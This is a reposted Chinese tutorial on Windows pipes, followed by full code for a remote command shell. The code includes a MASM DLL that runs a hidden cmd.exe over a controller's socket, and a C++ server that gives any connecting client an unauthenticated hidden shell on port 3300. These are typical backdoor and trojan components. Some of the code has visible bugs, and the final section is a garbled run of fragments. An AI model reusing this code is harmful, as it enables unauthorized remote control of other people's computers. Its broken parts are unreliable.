利用匿名管道实现远程CMD(转)
一.基本的理论知识
1.什么是管道以及分类
管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。
使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。
2.管道的使用
A.命名管道
命名管道是由服务器端的进程建立的,管道的命名必须遵循特定的命名方法,就是 "//./pipe/管道名",当作为客户端的进程要使用时,使用"//计算机名//pipe/管道名" 来打开使用,具体步骤如下:
服务端通过函数 CreateNamedPipe 创建一个命名管道的实例并返回用于今后操作的句柄,或为已存在的管道创建新的实例。 服务端侦听来自客户端的连接请求,该功能通过 ConnectNamedPipe 函数实现。
客户端通过函数 WaitNamedPipe 来等待管道的出现,如果在超时值变为零以前,有一个管道可以使用,则 WaitNamedPipe 将返回 True,并通过调用 CreateFile 或 CallNamedPipe 来呼叫对服务端的连接。
此时服务端将接受客户端的连接请求,成功建立连接,服务端 ConnectNamedPipe 返回 True 建立连接之后,客户端与服务器端即可通过 ReadFile 和 WriteFile,利用得到的管道文件句柄,彼此间进行信息交换。 当客户端与服务端的通信结束,客户端调用 CloseFile,服务端接着调用 DisconnectNamedPipe。最后调用函数CloseHandle来关闭该管道。
B.匿名管道
由于命名管道使用时作为客户端的程序必须知道管道的名称,所以更多的用在同一“作者”编写的服务器/工作站程序中,你不可能随便找出一个程序来要求它和你写的程序来通过命名管道通信。而匿名管道的使用则完全不同,它允许你和完全不相干的进程通信,条件是这个进程通过控制台“console”来输入输出,典型的例子是老的 Dos 应用程序,它们在运行时 Windows 为它们开了个 Dos 窗口,它们的输入输出就是 console 方式的。还有一些标准的 Win32 程序也使用控制台输入输出,如果在 Win32 编程中不想使用图形界面,你照样可以使用 AllocConsole 得到一个控制台,然后通过 GetStdHandle 得到输入或输出句柄,再通过 WriteConsole 或 WriteFile 把结果输出到控制台(通常是一个象 Dos 窗口)的屏幕上。虽然这些程序看起来象 Dos 程序,但它们是不折不扣的 Win32 程序,如果你在纯 Dos 下使用,就会显示“The program must run under Windows!”。
一个控制台有三个句柄:标准输入、标准输出和和标准错误句柄,标准输入、标准输出句柄是可以重新定向的,你可以用匿名管道来代替它,这样一来,你可以在管道的另一端用别的进程来接收或输入,而控制台一方并没有感到什么不同,就象 Dos 下的 > 或者 < 可以重新定向输出或输入一样。通常控制台程序的输入输出如下:
(控制台进程output) write ----> 标准输出设备(一般是屏幕)
(控制台进程input) read <---- 标准输入设备(一般是键盘)
而用管道代替后: (作为子进程的控制台进程output) write ----> 管道1 ----> read (父进程)
(作为子进程的控制台进程input) read <----> 管道2 <---- write (父进程)
使用匿名管道的步骤如下:
使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出
准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo
使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄
使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中
父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程
父进程可以通过 PeekNamedPipe 来查询子进程有没有输出
子进程结束后,要通过 CloseHandle 来关闭两个管道。
一个cmd动态连接库完整源代码贴出来
-----------------------
;主程序
.386
.model flat, stdcall
option casemap:none
;##############################################################################
;include files
;##############################################################################
include C:/masm32/include/windows.inc
include C:/masm32/include/user32.inc
include C:/masm32/include/kernel32.inc
include C:/masm32/include/ws2_32.inc
include C:/masm32/include/advapi32.inc
include C:/masm32/include/Wininet.inc
include C:/masm32/include/shlwapi.inc
includelib C:/masm32/lib/user32.lib
includelib C:/masm32/lib/kernel32.lib
includelib C:/masm32/lib/ws2_32.lib
includelib C:/masm32/lib/advapi32.lib
includelib C:/masm32/lib/Wininet.lib
includelib C:/masm32/lib/shlwapi.lib
;##############################################################################
.const
szCmd db 'cmd.exe',0
szEND db 'END',0
szExit db 'exit',0
;##############################################################################
.data?
szBuf1 db 65535 dup(?)
szBuf2 db 65535 dup(?)
;##############################################################################
.code
;##############################################################################
DllEntry proc _hInstance,_dwReason,_dwReserved
mov eax,TRUE
ret
DllEntry Endp
;##############################################################################md
ReCmd proc CmdSockWORD
local @hReadPipe1
local @hWritePipe1
local @hReadPipe2
local @hWritePipe2
local @dwCount
local @dwCmdLen
local stSA:SECURITY_ATTRIBUTES
local stStartInfo:STARTUPINFO
local stProcInfo:PROCESS_INFORMATION
;
;建立两个匿名管道用于和远程cmd进行数据交换
;
Mov stSA.nLength,12
Mov stSA.lpSecurityDescriptor,NULL
Mov stSA.bInheritHandle,TRUE
Invoke CreatePipe,addr @hReadPipe1,addr @hWritePipe1,addr stSA,0
Invoke CreatePipe,addr @hReadPipe2,addr @hWritePipe2,addr stSA,0
;
;创建一个远程的cmd.exe
;
Invoke RtlZeroMemory,addr stStartInfo,sizeof STARTUPINFO
Mov stStartInfo.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
Mov stStartInfo.wShowWindow,SW_HIDE
Mov eax,@hReadPipe1
Mov stStartInfo.hStdInput,eax
Mov eax,@hWritePipe2
Mov stStartInfo.hStdOutput,eax
Mov stStartInfo.hStdError,eax
Invoke CreateProcess,NULL,offset szCmd,NULL,NULL,1,0,/
NULL,NULL,addr stStartInfo,addr stProcInfo
;
;循环读取信息;发送数据到控制端,然后发送一个结束标志
;
.while TRUE
;***********************************************************
;从管道中读取数据并显示
;***********************************************************
.while TRUE
Mov @dwCount,0
Invoke RtlZeroMemory,offset szBuf1,65535
.While @dwCount==0
Invoke PeekNamedPipe,@hReadPipe2,offset szBuf1,65535,/
addr @dwCount,NULL,NULL
.endw
Invoke ReadFile,@hReadPipe2,offset szBuf1,65535,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf1,@dwCount,0
.break .if eax<=0
Mov ecx,@dwCount
Dec ecx
.break .if byte ptr[offset szBuf1+ecx]==62
.endw
Invoke send,CmdSock,offset szEND,sizeof szEND,0
;*************************************************************
;从网络上读取远程cmd命令,将其写入管道
;*************************************************************
Invoke RtlZeroMemory,offset szBuf2,65535
Invoke recv,CmdSock,offset szBuf2,65535,0
.if eax == SOCKET_ERROR || eax == 0
invoke WSAGetLastError
.if eax == WSAEWOULDBLOCK
.continue
.else
invoke TerminateProcess, stProcInfo.hProcess, 0;连接若断开则结束cmd进程
.break
.endif
.else
Mov @dwCmdLen,eax
Invoke WriteFile,@hWritePipe1,offset szBuf2,@dwCmdLen,addr @dwCount,NULL
Invoke send,CmdSock,offset szBuf2,@dwCount,0
invoke lstrcmp,offset szBuf2,offset szExit ;如果传送过来的是exit,则退出
.break
.endif
.endw
ret
ReCmd endp
;#####################################################################
end DllEntry
cmddll.def文件
EXPORTS
ReCmd
Cmddll的makefile文件
DLL = cmddll
ML_FLAG = /c /coff
LINK_FLAG = /subsystem:windows /Dll /section:.bss,S
####################################################
# 创建共享数据段的DLL时使用的连接选项
# LINK_FLAG = /subsystem:windows /Dll /section:.bss,S
####################################################
(DLL).dll: (DLL).obj (DLL).def
Link (LINK_FLAG) /DefDLL).def (DLL).obj
.asm.obj:
ml (ML_FLAG) <
.rc.res:
rc <
clean:
del *.obj
del *.exp
del *.lib
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
利用匿名管道实现远程CMD
// vctelnetserver.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Winsock2.h>
#include <Windows.h>
#include <Winbase.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
void main()
{
WSADATA zi;
SOCKET telnetan;
int pcport = 3300;
int ret;
if ((ret = WSAStartup(MAKEWORD(2,2),&zi)) != 0)
{
printf("WSAStartup failed with error %d/n", ret);
return;
}
if ((telnetan = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("socket failed with error %d/n", WSAGetLastError());
WSACleanup();
return;
}
SOCKADDR_IN telnet_server;
telnet_server.sin_family = AF_INET;
telnet_server.sin_port = htons(pcport);
telnet_server.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(telnetan, (SOCKADDR *)&telnet_server, sizeof(telnet_server))== SOCKET_ERROR)
{
printf("bind failed with error %d/n", WSAGetLastError());
closesocket(telnetan);
WSACleanup();
return;
}
if (listen(telnetan, 5) == SOCKET_ERROR)
{
printf("listen failed with error %d/n", WSAGetLastError());
closesocket(telnetan);
WSACleanup();
return;
}
int telnetsize=sizeof(telnet_server);
SOCKET clientaccept;
while (true)
{
if((clientaccept = accept(telnetan, (SOCKADDR *) &telnet_server,&telnetsize)) != INVALID_SOCKET)
{
//建立匿名管道
SECURITY_ATTRIBUTES guandao1,guandao2;
//管道的结构体
HANDLE hReadPipe,hWritePipe,hWriteFile,hReadFile;
//管道1结构体赋值
guandao1.nLength = sizeof(SECURITY_ATTRIBUTES);
guandao1.lpSecurityDescriptor = NULL;
guandao1.bInheritHandle = true;
if((ret = CreatePipe(&hReadPipe,&hWriteFile,&guandao1,0)) = 0) //正式创建匿名管道
{
printf("建立cmd管道失败! ::d%",GetLastError());
WSACleanup();
}
//管道2结构体赋值
guandao2.nLength = sizeof(SECURITY_ATTRIBUTES);
guandao2.lpSecurityDescriptor = NULL;
guandao2.bInheritHandle = true;
if((ret = CreatePipe(&hReadFile,&hWritePipe,&guandao2,0)) = 0) //正式创建匿名管道
{
printf("建立cmd管道失败! ::d%",GetLastError());
WSACleanup();
}
//进程结构体
STARTUPINFO cmdpos;
ZeroMemory(&cmdpos,sizeof(cmdpos));//将结构体里的所有成员初始值置为0
GetStartupInfo(&cmdpos);
cmdpos.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
cmdpos.wShowWindow = SW_HIDE;
cmdpos.hStdInput = hReadPipe;
cmdpos.hStdOutput = hWritePipe;
cmdpos.hStdError = hWritePipe;
PROCESS_INFORMATION processinformation;
//正式建立进程
char szAPP[256];
char recv_buff[1024];
char send_buff[1024];
DWORD nByteToWrite, nByteWritten,len;
GetSystemDirectory(szAPP,MAX_PATH+1);
strcat(szAPP,"//cmd.exe");
ret=CreateProcess(NULL,szAPP,NULL,NULL,1,0,NULL,NULL,&cmdpos,&processinformation);
while(true)
{
ReadFile(hReadFile,send_buff,1024,&len,NULL);
send(clientaccept,send_buff,len,0);
printf("%s",send_buff);
Sleep(1);
nByteToWrite = recv(clientaccept,recv_buff,1024,0);
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
Sleep(1);
}
}
}
}
---------------------------------------------------------------------------------
-----------------------------------------------------------------------------------
网上大部分都是C/S模式的双管道代码,通过socket发送要执行的命令,为了省去麻烦,直接在一个进程里用双管道来回显,但是写入了管道数据后,没有回显,最后发现时输入管道的最后需要回车换行!问题解决,回显正常,代码如下: #include "stdafx.h" HANDLE hReadPipe1 = NULL; int main(int argc, char* argv[]) SECURITY_ATTRIBUTES sa1 = {0}; sa1.nLength = sizeof(sa1); sa2.nLength = sizeof(sa2); CreatePipe(&hReadPipe1,&hWritePipe1,&sa1,0); GetStartupInfo(&si); char strShellPath[256]="/x00"; if (!CreateProcess(strShellPath,NULL, NULL, NULL,TRUE,CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) char writeBuf[256]="/x00"; strcat(writeBuf,"/r/n"); //这个是关键,必须加上回车换行!否则不会回显!
} } |